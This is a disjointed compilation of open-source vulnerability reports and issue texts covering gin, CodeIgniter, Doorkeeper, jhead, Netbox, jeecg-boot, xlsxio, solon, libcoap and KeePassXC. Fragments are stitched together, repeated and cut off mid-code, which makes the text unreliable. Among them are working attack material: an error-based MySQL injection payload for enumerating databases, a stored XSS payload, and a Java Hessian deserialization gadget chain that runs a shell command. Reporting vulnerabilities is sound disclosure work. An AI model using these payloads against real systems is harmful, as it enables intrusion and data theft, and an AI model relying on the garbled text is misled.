To trigger the issue, it is necessary to continuously replay the poc multiple times until nanomq crashes,it may need 2 - 15 times

but have not received a reply, so I am raising an Issue.
## Description
`gin` > `context.go` > `func FileAttachment`
contains a vulnerability that allows the extension/file name to be tampered with when downloading files.
This is known as a Reflect File Download attack.
https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
This vulnerability allows a Threat Actor to replace what was `.txt` when uploading with `.sh`, etc. when (victim) downloading.
This is due to improper handling of the filename in the Content-Disposition response header.
https://github.com/gin-gonic/gin/blob/a889c58de78711cb9b53de6cfcc9272c8518c729/context.go#LL1059-L1059C86
My calculations CVSS (v3):
* CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
* Score: 7.5
However, I think the impact of the actual situation is much lower than that of CVSS.
## How to reproduce
### Env
OS: macOSVentura(13.1)
Go ver: 1.18.2 darwin/arm64
gin ver: v1.9.0 (The latest ver has not been corrected either, so the problem probably remains.)
Browser: Chrome 111.0.5563.110 (arm64)
(Linux or MacOS is required.
This is because Windows does not allow file names containing " (double-quote) .)
----------------
1. Create File
```
$ touch 'malicious.sh";dummy=.txt'
```
2. Setup gin project
```
$ mkdir myproject
$ go mod init tidy
$ go get -u github.com/gin-gonic/gin
```
3. Generate Vuln code
```
$ vi main.go
```
Edit Directory
```
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.GET("/download", func(c *gin.Context) {
dir := "/Users/{CHANGE_PROJECT_DIRECTRY}/"
// Although the file name is hard-coded, we assume that the file name is actually determined by the DB or user input.
filename := "malicious.sh\";dummy=.txt"
c.FileAttachment(dir + filename, filename)
})
r.Run()
}
```
4. Build & Run & Access
```
$ go build ./main.go
$ ./main
```
Access: `http://localhost:8080/download`
------------------
Return Response Header:
> HTTP/1.1 304 Not Modified
> Content-Disposition: attachment; filename="malicious.sh";dummy=.txt"
> Last-Modified: Tue, 19 Jul 2022 08:53:26 GMT
> Date: Wed, 20 Jul 2022 11:17:43 GMT
Content-Disposition:
> Content-Disposition: attachment; filename="malicious.sh";dummy=.txt"
Download File:
`malicious.sh`
# Cause & Fix
The reason is that the filename in Content-Disposition is not escape / encoded.
If not escape / encoded ( `"` ), the filename field can be terminated arbitrarily, as shown in the PoC.
> Content-Disposition: attachment; filename="malicious.sh";dummy=.txt"
Therefore, the following escapes are required.
* `"` --> `\"` or `%22`
* `\r` --> `\\r` or `%0D`
* `\n` --> `\\n` or `%0A`
( `\r`, `\n` was converted to space, so no problem.)
The requirements for encoding `filename` in `Content-Disposition` are described in RFC6266 and WhatWG html spec(multipart/form-data).
RFC 6266 (section 5)
https://tools.ietf.org/html/rfc6266#section-5
> [Appendix D](https://www.rfc-editor.org/rfc/rfc6266#appendix-D). Advice on Generating Content-Disposition Header Fields
> ...
> o Avoid including the percent character followed by two hexadecimal characters (e.g., %A9) in the filename parameter, since some existing implementations consider it to be an escape character, while others will pass it through unchanged.
> ...
> Avoid including the "\" character in the quoted-string form of the filename parameter, as escaping is not implemented by some user agents, and "\" can be considered an illegal path character.
What WG - html spec - multipart/form-data
https://html.spec.whatwg.org/#multipart-form-data
> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (") with `%22`. The user agent must not perform any other escapes.
Golang also implements Content-Disposition escaping based on these requirements.
(This implementation is a `Content-Disposition` implementation for `multipart/form-data`,
so the situation is slightly different from the `HTTP Response` > `Content-Disposition` in this issue.)

Because the find_by_key method does not exist, enter the __call method of the current object
Enter line 4421 of MY_Model.php, pass parameters to $this->db->where() method
At this time, the external input string is spliced into the SQL statement through the $this->db->where() method, But at this time, the external input will be surrounded by single quotes because of codeigniter's safe processing of the where method, so the injection has not yet been caused..
Until line 4450, the user's external input is stored in the $other_args array at this time, and has not been processed safely
Enter the $this->db->order_by() method, at this time the external input is spliced into the sql statement again, and there is no single quotation mark included
Finally, the $this->db->get() method executes the database command, causing sql injection

CVE-2023-34246 | 2023-06-12T17:15:09.967 | Doorkeeper is an OAuth 2 provider for Ruby on Rails / Grape. Prior to version 5.6.6, Doorkeeper automatically processes authorization requests without user consent for public clients that have been previous approved. Public clients are inherently vulnerable to impersonation, their identity cannot be assured. This issue is fixed in version 5.6.6. | {

### Steps to reproduce
1. Log into the server application (in whatever way is necessary to pass its `resource_owner_authenticator` check)
2. Create a non-confidential application in Doorkeeper admin
3. Initiate authentication against it using its client ID and any OAuth2 flow
4. Click "allow" to let the access grant happen
5. Initiate authentication against it again, using a flow that only includes client_id, such as the `authorization_code` flow with PKCE
### Expected behavior
According to [RFC 8252 section 8.6](https://www.rfc-editor.org/rfc/rfc8252#section-8.6), the authentication server should re-prompt for user consent, since the client's identity cannot be assured simply from the client_id parameter. (In Doorkeeper, I think this means that it should redirect to `AuthorizationsController#new`.)
### Actual behavior
The authentication server immediately redirects with a code parameter.
### System configuration
You can help us to understand your problem if you will share some very
useful information about your project environment (don't forget to
remove any confidential data if it exists).
**Doorkeeper initializer**:
```ruby
# config/initializers/doorkeeper.rb
class NullResourceOwner
def id
nil
end
end
Doorkeeper.configure do
Devise::Doorkeeper.configure_doorkeeper(self)
# Change the ORM that doorkeeper will use (needs plugins)
orm :active_record
# This block will be called to check whether the resource owner is authenticated or not.
resource_owner_authenticator do
user_signed_in? ? current_user : NullResourceOwner.new
end

] | There may has a temporary file information disclosure vulnerability by use File.createTempFile().
https://github.com/dromara/hutool/blob/89832cdcce8dc3b6bed0fc1d5bdd33e36d1e599f/hutool-core/src/main/java/cn/hutool/core/io/FileUtil.java#L1007
Preamble
--------------------------------------------------------------------------
The system temporary directory is shared between all users on most unix-like systems (not MacOS, or Windows). Thus, code interacting with the system temporary directory must be careful about file interactions in this directory, and must ensure that the correct file permissions are set.
The chain of calls was detected in this repository in a way that leaves this project vulnerable.
File.createTempFile(..) -> file.delete() -> file.createNewFile().
Impact
--------------------------------------------------------------------------
This vulnerability can have one of two impacts depending upon which vulnerability it is.
1.Temporary Directory Information Disclosure - Information in this directory is visable to other local users, allowing a malicious actor co-resident on the same machine to view potentially sensitive files.
2.Temporary Directory Hijacking Vulnerability - Same impact as 1. above, but also, ther local users can manipulate/add contents to this directory. If code is being executed out of this temporary directory, it can lead to local priviledge escalation.
Other Examples

[CVE-2022-24823](https://github.com/advisories/GHSA-269q-hmxg-m83q) - netty/netty
The Fix
--------------------------------------------------------------------------
The fix has been to convert the logic above to use the following API that was introduced in Java 1.7.
`File tmpDir = Files.createTempFile(prefix, suffix).toFile();`
The API both created the directory securely, ie with a random, non-conflicting name, with directory permissions that only allow the currently executing user to read or write the contents of this directory. | Temporary File Information Disclosure Vulnerability | https://api.github.com/repos/chinabugotech/hutool/issues/3103/comments | 1 | 2023-05-15T06:30:47Z | 2023-05-15T12:25:34Z | https://github.com/chinabugotech/hutool/issues/3103 | 1,709,406,655 | 3,103 | 5,249 |

] | When the command contains lots of `&i` argument, the stack buffer will overflow.
https://github.com/Matthias-Wandel/jhead/blob/0e98605d0a08bc692b87ca878bb4dc7bdfc12471/jhead.c#L389-L406
In `DoCommand()`, jhead calls `shellescape()` to copy strings to stack buffer `ExecString` when it detects a `&i` or `&o`. However, jhead does not check the boundary of the stack buffer `ExecString`. As a result, the stack buffer will overflow when multiple `&i` given.
## Test Environment
Ubuntu 20.04, 64 bit
jhead (master, 0e98605)
## How to trigger
1. Compile the program with AddressSanitizer
2. Rename a jpeg file to a long name, such as `_imageaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpeg`
3. Run command `$ jhead -cmd "&i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &p" ./_imageaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpeg`

## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）) | Stack overflow error caused by json-io parsing of untrusted JSON String | https://api.github.com/repos/jdereg/json-io/issues/169/comments | 1 | 2023-05-24T08:39:41Z | 2023-08-23T14:03:27Z | https://github.com/jdereg/json-io/issues/169 | 1,723,471,306 | 169 | 5,252 |

## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）) | Stack overflow error caused by ph-json parsing of untrusted JSON String | https://api.github.com/repos/phax/ph-commons/issues/35/comments | 1 | 2023-05-25T06:56:09Z | 2023-06-18T16:59:19Z | https://github.com/phax/ph-commons/issues/35 | 1,725,204,219 | 35 | 5,254 |

## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）) | Stack overflow error caused by genson parsing of untrusted JSON String | https://api.github.com/repos/owlike/genson/issues/191/comments | 3 | 2023-05-26T08:23:40Z | 2023-08-31T11:29:47Z | https://github.com/owlike/genson/issues/191 | 1,727,146,434 | 191 | 5,258 |

## Description
Using htmlcleaner to parse untrusted HTML String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）) | Stack overflow error caused by htmlcleaner parsing of untrusted HTML String | https://api.github.com/repos/amplafi/htmlcleaner/issues/13/comments | 3 | 2023-06-06T07:09:03Z | 2023-06-19T19:01:19Z | https://github.com/amplafi/htmlcleaner/issues/13 | 1,743,229,731 | 13 | 5,261 |

In the test of the binary fdkaac instrumented with ASAN. There is a Heap-buffer-overflow vulnerability in fdkaac, commit is [03c3c60](https://github.com/nu774/fdkaac/commit/03c3c60191682177426213adb5d6643e05e82bd4) which is also the master branch.
Here is the ASAN mode output:

## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）)

**Problem:** Creating and using insecure temporary files can leave application and system data vulnerable to attack. In particular,file names created by the tmpnam family of functions can be easily guessed by an attacker. If an attacker can predictthe filename and create a malicious collision, he may be able to manipulate the behavior of the application.
**Recommendations (Generated by tool)**
Ensure that unpredictable names are used for temporary files and that files are created in a secure directory with appropriate permissions. Using mkstemp() is a reasonably safe way to create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user, combined with a series of randomly generated characters. Note that mkstemp() is safe if only the descriptor is used and the returned filename is not used in a subsequent function call with extra privileges. Using mkstemp() does not completely eliminate race conditions but does provide better protection than other methods

An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Wireless LAN" function in the "GROUP" feature.
**Proof of Concept**
Step 1: Go to /wireless/wireless-lan-groups/, click "Add" and insert payload "<img src=x onerror=alert('XSS');>" in "Name" field.
Step 2: Go to dev/wireless/wireless-lans/, Select one element and click "Edit Selected", after select "Group"
**Step 3: Script excuted
Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. | Stored Cross Site Scripting Vulnerability in "Create Wireless LAN Groups" function in Netbox 3.5.1 | https://api.github.com/repos/grayfullbuster0804/netbox/issues/1/comments | 0 | 2023-05-23T09:47:27Z | 2023-05-23T09:52:51Z | https://github.com/grayfullbuster0804/netbox/issues/1 | 1,721,665,235 | 1 | 5,268 |

Manipulate the 'order' or 'exclude[]' parameter by adding a single quote, and an error in MYSQL shows up, proving the existence of SQL injection
We can try to retrieve all the databases name with the error-based payload `id AND (SELECT 2690 FROM(SELECT COUNT(*),CONCAT(0x716b707671,(SELECT MID((IFNULL(CAST(schema_name AS NCHAR),0x20)),1,51) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)` , just increasing the LIMIT value to enumerate all the databases name

I found a cross-site scripting attack on the new content creating page http://localhost:800/admin/new-content
it will execute the script in user context allowing the attacker to access any cookies or sessions tokens retained
by the browser.
Stored XSS, also known as persistent XSS, is the more damaging than non-persistent XSS. It occurs when a malicious script is injected directly into a vulnerable web application.
### Steps to reproduce the problem
- login into the account
- click on the new content like in that image
- click on the images button
- select the payload svg file which is injected with xss payload or ssrf payload
- insert and save the page
- copy the image link and open in the new tab

A security issue was discovered in Kubelet that allows pods to bypass the seccomp profile enforcement. This issue has been rated LOW ([CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N)) (score: 3.4).
If you have pods in your cluster that use [localhost type](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#seccompprofile-v1-core) for seccomp profile but specify an empty profile field, then you are affected by this issue. In this scenario, this vulnerability allows the pod to run in “unconfined” (seccomp disabled) mode. This bug affects Kubelet.
### How can we reproduce it (as minimally and precisely as possible)?
This can be reproduced by creating a pod with following sample seccomp Localhost profile -
```
localhostProfile: ""
```
https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#seccompprofile-v1-core

] | Hi. I found a free of uninitialized pointer vulnerability while fuzzing [libxlsxio_read 0.2.34](https://github.com/brechtsanders/xlsxio/releases/tag/0.2.34) with [AFL++](https://github.com/AFLplusplus/AFLplusplus) and [AddressSanitizer](https://clang.llvm.org/docs/AddressSanitizer.html). This bug could be triggered by a malformed XLSX file, and cause a [Denial of Service (DoS)](https://en.wikipedia.org/wiki/Denial-of-service_attack) by crashing program or potentially a [Remote Code Execution (RCE)](https://en.wikipedia.org/wiki/Arbitrary_code_execution) by hijacking some function pointers via Use-After-Free (UAF).
## Description
In [`xlsxioread_sheetlist_open()`](https://github.com/brechtsanders/xlsxio/blob/0.2.34/lib/xlsxio_read.c#L1392), `result` is a pointer to [`struct xlsxio_read_sheetlist_struct`](https://github.com/brechtsanders/xlsxio/blob/0.2.34/lib/xlsxio_read.c#L1369) object to be initialized. If `XML_Char_openzip()` fails (returns `NULL`), `result->xmlparser` remains uninitialized and then `xlsxioread_sheetlist_open()` returns `result` to user directly.
```c
// xlsxio_read.c:1414, xlsxioread_sheetlist_open()
if ((result->zipfile = XML_Char_openzip(handle->zip, mainsheetfile, 0)) != NULL) {
result->xmlparser = expat_process_zip_file_suspendable(result->zipfile, main_sheet_list_expat_callback_element_start, NULL, NULL, &result->sheetcallbackdata);
}
```
When user calls [`xlsxioread_sheetlist_close()`](https://github.com/brechtsanders/xlsxio/blob/0.2.34/lib/xlsxio_read.c#L1422) to destroy `struct xlsxio_read_sheetlist_struct` object, this uninitialized pointer `xmlparser` will be passed to `XML_ParserFree()`, leading to freeing arbitrary pointers.
```c
// xlsxio_read.c:1426, xlsxioread_sheetlist_close()
if (sheetlisthandle->xmlparser)
XML_ParserFree(sheetlisthandle->xmlparser);
```

##### 问题描述：
经测试发现/jeecg-boot/jmreport/upload接口存在未授权任意文件上传，可以上传html文件造成存储型的XSS。
##### 截图&代码：
下载使用https://github.com/jeecgboot/jeecg-boot项目源代码启动项目后，
入口：“报表设计器”-->"新建报表"-->"插入图片"
抓取包，获得上传接口，下面证明任意文件上传的存在。
修改后缀为html，添加js代码
访问后，成功执行
尝试上传sh，上传成功
###源码分析
在org.jeecg.modules.jmreport.desreport.a包里面的a.java是一个controller；当做post请求/jeecg-boot/jmreport/upload的时候就会来到这个方法里面。
进行判断了之后，然后进入LOCAL方法，我们跟进去一直来到了a方法。这里只是做了“../”的过滤。
然后调用getUpload()获取存储的路径，做了一系列的赋值之后，来到var8得到了最终的路径，然后通过new File传进var8的值，创建了新的文件，至此实现了任意文件类型的上传。

the command line tools like amqp-publish and amqp-consume are insecure, since the username/password can be given as a command line parameter either with --password= or as part of the URL given with --url.
Passwords given as command line parameters are insecure, since they can be seen in the process list.
It should have alternative options to have the password read from a given file or pipe.

] | # Problem
I noticed that [issues73](https://github.com/noear/solon/issues/73) mentioned the solon got an RCE problem because of the `solon.serialization.hessian`, and the developer used the `sofa-hessian` to fix it. However, the `sofa-hessian` also can be bypassed.
# Reproduce
## The server side
I built a project based on the official example [https://github.com/noear/solon-examples/tree/main/3.Solon-Web/demo3041-gateway](https://github.com/noear/solon-examples/tree/main/3.Solon-Web/demo3041-gateway), and you can get it in this [repo](https://github.com/gfast777-sec/solon-example). I only made a little bit of modification in `UserServiceImpl.java` to make it has the ability to receive data from the HTTP body:
```
/**
* @author noear 2021/4/22 created
*/
@Component
public class UserServiceImpl implements UserService {
@Inject
UserDao userDao;
@Override
public UserModel getUser(String name) {
UserModel user = userDao.getUser();
return user;
}
}
```
Besides, Jdk8u92 is used when running this app.
## PoC
You can get the malicious serialization data by running the following codes:
```
String cmd = "touch /tmp/evilfile";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(jsonObject);
hessianOutput.flushBuffer();
byte[] data = byteArrayOutputStream.toByteArray();
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);
FileOutputStream fileOutputStream=new FileOutputStream(new File("/tmp/ser"));
fileOutputStream.write(poc);
```
One thing should be noticed is that this payload only works on Unix-like OS as the other platforms do not have `UnixPrintServiceLookup`. After that, the official plugin `solon.serialization.fastjson` also needs to introduce.
Then, you can use the Python script to send the malicious data to the app(For convenience, I copy the script from issues73):
```
with open("/tmp/ser","rb") as f:
body= f.read()

- libcoap version: v4.3.1-162-g6f79db0
- Build System: Make
- Operating System: Linux
- Operating System Version: Debian GNU/Linux 11 (bullseye)
- Hosted Environment: None
## Problem Description
There is a global-buffer-overflow bug in the `coap_parse_oscore_conf_mem` function in `src/coap_oscore.c`.
### Expected Behavior
No crash.
### Actual Behavior
Crash when enhanced with ASan.
### Steps to reproduce
1. Build `libcoap` with ASan
```sh
CC=clang CFLAGS="-g -fsanitize=address" ./autogen.sh
CC=clang CFLAGS="-g -fsanitize=address" ./configure --disable-doxygen --disable-manpages --enable-tests --disable-documentation --enable-examples --enable-shared
CC=clang CFLAGS="-g -fsanitize=address" make -j
```
2. Compile `overflow.c` (as shown follows)
```
clang overflow.c -I/root/libcoap/include -I/root/libcoap /root/libcoap/.libs/libcoap-3-gnutls.a /usr/local/lib/libgnutls.so -g -fsanitize=address -o overflow
```
3. Run `overflow` and detect ASan error
```

##### 问题描述：
代码中存在SQL注入风险。尽管代码中添加SQL注入的过滤功能，但我们测试发现访问```org.jeecg.modules.api.controller.SystemApiController```类中的```queryTableDictItemsByCode```方法还是能通过特殊的字符串获取数据表中我们想要的数据，例如sys_user表中的用户名，密码和salt值。详细请见截图中的URL，其中“--”符号表示注释，通过该符号屏蔽后续SQL语句，其主要原因是mybatis中${XXX}存在SQL注入风险。
There is a SQL injection risk in the code. Although the code has added SQL injection filtering functionality, we found during testing that accessing the ```queryTableDictItemsByCode method``` in the ```org.jeecg.modules.api.controller.SystemApiController``` class still allows obtaining desired data from the database table, such as usernames, passwords, and salt values from the sys_user table. Please refer to the screenshot of the URL provided, where the "--" symbol is used to comment out the subsequent SQL statements. The main reason for this is the SQL injection risk associated with ${XXX} in MyBatis.

与问题https://github.com/jeecgboot/jeecg-boot/issues/4983 类似，访问```org.jeecg.modules.api.controller.SystemApiController```类中的```queryFilterTableDictInfo```方法会触发SQL注入，根据需求获取数据库中的关键信息。主要原因还是绕过SQL注入检测方法后，Mybatis中的${XXX}存在SQL注入隐患。
Similar to the issue https://github.com/jeecgboot/jeecg-boot/issues/4983, accessing the ```queryFilterTableDictInfo``` method in the ```org.jeecg.modules.api.controller.SystemApiController``` class will trigger SQL injection, allowing retrieval of critical information from the database based on the requirements. The main reason for this is the SQL injection vulnerability associated with ${XXX} in MyBatis, even after bypassing the SQL injection detection methods.

] | I am disappointed because when exporting the database no password is required.
And when I want to change the master password no password is required.
For me it is a bad lack of security because if an attacker who has managed to have access to the PC locally or remotely he can change the password or export the entire database in clear text in a second without any kind of protection. It's rare but it can happen and if it happens game over!
All password managers require the master password to export and change the master password.
I don't understand why KeePass XC doesn't!
That's why I don't use KeePass XC because it's too insecure for it.
I hope you will include this important protection becouse if this problem is not solved it remains a totally useless application to contain passwords.

] | ## Overview
Having set up a YubiKey for my Two-Factor-Authentication i noticed that a confirmation through the set up second-factor is not required when making changes to security-settings within that KeePassXC-Database.
## Steps to Reproduce
1. In Database-settings/Security set up a YubiKey Challenge-Response
2. Create a new Entry
3. Confirm with YubiKey Challenge-Response
4. Go back to Database-settings/Security
5. Remove YubiKey Challenge-Response
## Expected Behavior
Imperative authentication through YubiKey Challenge-Response when making security-related changes to database settings.
## Actual Behavior
No Two-Factor-Authentication required, while it is set up.
## Context
